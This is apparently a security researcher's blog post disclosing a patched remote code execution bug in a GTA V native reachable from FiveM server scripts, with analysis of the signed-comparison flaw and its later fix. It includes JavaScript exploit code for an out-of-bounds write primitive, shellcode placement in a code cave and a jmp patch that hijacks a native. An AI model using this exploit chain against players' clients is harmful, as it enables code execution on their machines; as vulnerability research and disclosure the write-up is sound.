index

Remote Code Execution in GTA V / FiveM (#1)

Back in August 2025, on the old version of my blog, I briefly mentioned the following security vulnerability, but I received a few messages from you asking if I could go into more detail here.

This post covers a security vulnerability that allowed remote code execution if a user joined a malicious server on FiveM.

Since then, I have learned a lot in vulnerability exploitation and now I am expanding the original explanation with more detail and context.

What is FiveM?

__Cfx.re

FiveM is a multiplayer modification framework for Grand Theft Auto V that lets players and developers run custom servers with scripting support, custom resources, and some kind of “game file replacement” system.

In August 2023, Cfx.re, the team behind FiveM & RedM, was acquired by Rockstar Games, which made it the first and only officially supported multiplayer mod.1

According to SteamDB, FiveM now attracts around 202,000 daily active users, which makes it even more active than GTA Online.

Custom Servers, Natives

The concept behind FiveM is that server owners can create their own game modes and worlds, similar to how it works in Roblox and UEFN, by setting up their own servers.2

Within these servers, owners and developers have access to a wide range of native GTA 5 functions, known as natives. These can be used directly in scripts, similar to an SDK. A comprehensive reference for all available natives is available here: FiveM Docs > Native Reference

Example native reference: AddExplosion
Example native reference: AddExplosion

These native functions are then called by the server as needed from the appropriate scripting runtime: Lua, JavaScript, or C#, which then invokes the C++ native function.3

The vulnerability

The part where the natives are registered is one of the few parts protected by Arxan (GuardIT); based on previous research from my time at YAMP (a discontinued alternative multiplayer mod), we have a simplified version of this part without the jmp obfuscation, which allows me to simply go through all the natives.

Arxan is a software protection system used to protect applications from being cracked, modified, or reverse engineered.4

After going through a few of the native functions, I came across HUD::SET_FLOATING_HELP_TEXT_STYLE (0x788E7FD431BD67F1).

natives::hud::SetFloatingHelpTextStyle in b3717
natives::hud::SetFloatingHelpTextStyle in b3717
For context, this function is called in the native wrapper with an incremented index.
For context, this function is called in the native wrapper with an incremented index.

Take a moment to step back and think about why the code shown above is dangerous.

We can see here that the index is being compared (< 3), but the cmp instruction (0x83) is followed by a jge instruction (0x7d), which performs a signed comparison in that case, allowing negative numbers, which causes an out-of-bounds write.5

Crafting the exploit

To craft an exploit, we first need a write primitive that will allow us to write arbitrary values to arbitrary addresses.

Since we write relatively from CFloatingHelpMessage::m_Style, we can also simply determine where our out-of-bounds write should land.

[(targetAddressToWrite - CFloatingHelpMessage::m_Style)41][ \frac{\bigl(\text{targetAddressToWrite - CFloatingHelpMessage::m\_Style}\bigr)}{4} - 1 ]
function writeValueToAddress(targetAddress, value) {
  // CFloatingHelpMessage::m_Style address relative to base
  const vulnerableBufferAddress = 0x26DD668n;

  const byteOffset = targetAddress - vulnerableBufferAddress;
  if (byteOffset % 4n !== 0n) {
      console.log("unaligned target address");
      return false;
  }

  const index = Number(byteOffset / 4n) - 1;

  // invokes the native SetFloatingTextStyle
  Citizen.invokeNative("0x788E7FD431BD67F1", index, value, 0, 255, 0, 0);
  return true;
}

Now that we have a write primitive, the rest is simple: find a code cave, drop our shellcode there, and hijack control flow.

const shellcodeCave = 0x1A9F584n;
writeByteArrayToAddress(shellcodeCave, shellcode);

shellcodeCave is just an unused part in the executable region that I found in the process. Next, we patch a native that we will call during the server join (or at any point we want the remote code execution to happen) to redirect straight to us:

// for example: the address of the AddExplosion native
const nativeAddress = 0x4466D0n;
const relativeOffset = shellcodeCave - (nativeAddress + 5n);

The + 5 is the size of the jmp (0xE9) instruction, with 1 byte for the 0xE9 opcode and 4 bytes for the offset, since the CPU calculates relative jumps from the start of the next instruction.6

The jmp instruction tells the CPU to jump to a different location in memory, instead of continuing to the next instruction.

relativeOffset=shellcodeCave(nativeAddress+5)\text{relativeOffset} = \text{shellcodeCave} - (\text{nativeAddress} + 5)
const jumpPayload = [0xE9, 0, 0, 0, 0];
for (let i = 0; i < 4; i++) {
    // write as little-endian
    jumpPayload[i + 1] = Number((relativeOffset >> BigInt(i * 8)) & 0xFFn);
}

const finalPayload = jumpPayload.concat([0x90, 0x90, 0x90]);
writeByteArrayToAddress(nativeAddress, finalPayload);

The three nop’s (0x90) at the end just pad over any leftover instruction bytes. The moment the game calls that native during join, execution jumps straight into our shellcode.7

The nop instruction does nothing and simply moves execution to the next instruction.

And now, let’s see what happens when we now call the function located at the address of nativeAddress:

Fix: Update b3788

On March 17 2026, Rockstar Games released a global update for Enhanced and Legacy: Build 3788. According to the patch notes, this update was dedicated to security and stability.8

I am fairly certain sure that this update was released in part because I drew attention to the many vulnerable natives. A official shoutout would be cool :(

Let’s take another look at the security vulnerability mentioned above:

natives::hud::SetFloatingHelpTextStyle in b3788
natives::hud::SetFloatingHelpTextStyle in b3788

In b3788, there’s a subtle but important change in how one of the functions handles the index value. The function uses the ja (0x77) instruction which performs an unsigned comparison: it only looks at the lower 32 bits of the register that stores this index when comparing it to 2.9

Negative numbers in programming are stored using a system called two’s complement. When you look at just the lower 32 bits of a negative number, it suddenly looks like a huge positive number.

That means any negative value automatically fails the check. Only 0, 1, or 2 can actually pass. This makes the function safe, because it is impossible for an unexpected value to slip through.

These types of checks have been applied to a wide range of features and natives. I will go into more detail about the update in a separate blog post.

How did Cfx fix that?

Some of you might be wondering: “From August 2025 to March 2026, there were no official commits regarding this security vulnerability, so how was it fixed?”

Let’s take a look: We’ll start FiveM without Adhesive (Cfx.re’s user-mode anticheat) so we don’t have to deal with anti-debugging, and set a breakpoint on the native function.

actually I could have created a pattern in the lower part of the function and looked at the function that way, noice

Before we reach the original code of the native function, we are redirected to legitimacy.dll.

legitimacy.dll is actually designed to perform license checks in Rockstar Games Social Club services.

And in legitimacy.dll, we can see that the cmp instruction (0x83) is followed by a jna instruction (0x76), which also performs an unsigned comparison, just like in the fix from b3788.

Closing statement

This vulnerability shows how a small mistake like missing bounds checks can turn into full remote code execution. In a system like FiveM, where clients trust servers by default, that risk becomes even more serious.

Even before the b3788 fix, this was quickly resolved by the Cfx.re team back in August 2025.

LinkedIn: https://www.linkedin.com/in/divocbn/

GitHub: https://github.com/divocbn/

Footnotes

  1. Cfx.re Officially Joins Rockstar Games: https://forum.cfx.re/t/cfx-re-officially-joins-rockstar-games/5158920

  2. FiveM > Creating Scripts: https://docs.fivem.net/docs/getting-started/create-first-script/

  3. FiveM > Scripting Reference: https://docs.fivem.net/docs/scripting-reference/runtimes/

  4. Wikipedia > Arxan: https://en.wikipedia.org/wiki/Arxan_Technologies

  5. x86 Instruction Reference - JGE: https://www.aldeid.com/wiki/X86-assembly/Instructions/jge

  6. x86 Instruction Reference - JMP: https://www.felixcloutier.com/x86/jmp

  7. x86 Instruction Reference - NOP: https://www.felixcloutier.com/x86/nop

  8. GTAV Title Update 1.72 Notes: https://support.rockstargames.com/articles/0ExWSr9Bvq5Putzsn5w54/gtav-title-update-1-72-notes-ps5-ps4-xbox-series-x-or-s-xbox-one-pc-enhanced

  9. x86 Instruction Reference - JA: https://www.aldeid.com/wiki/X86-assembly/Instructions/ja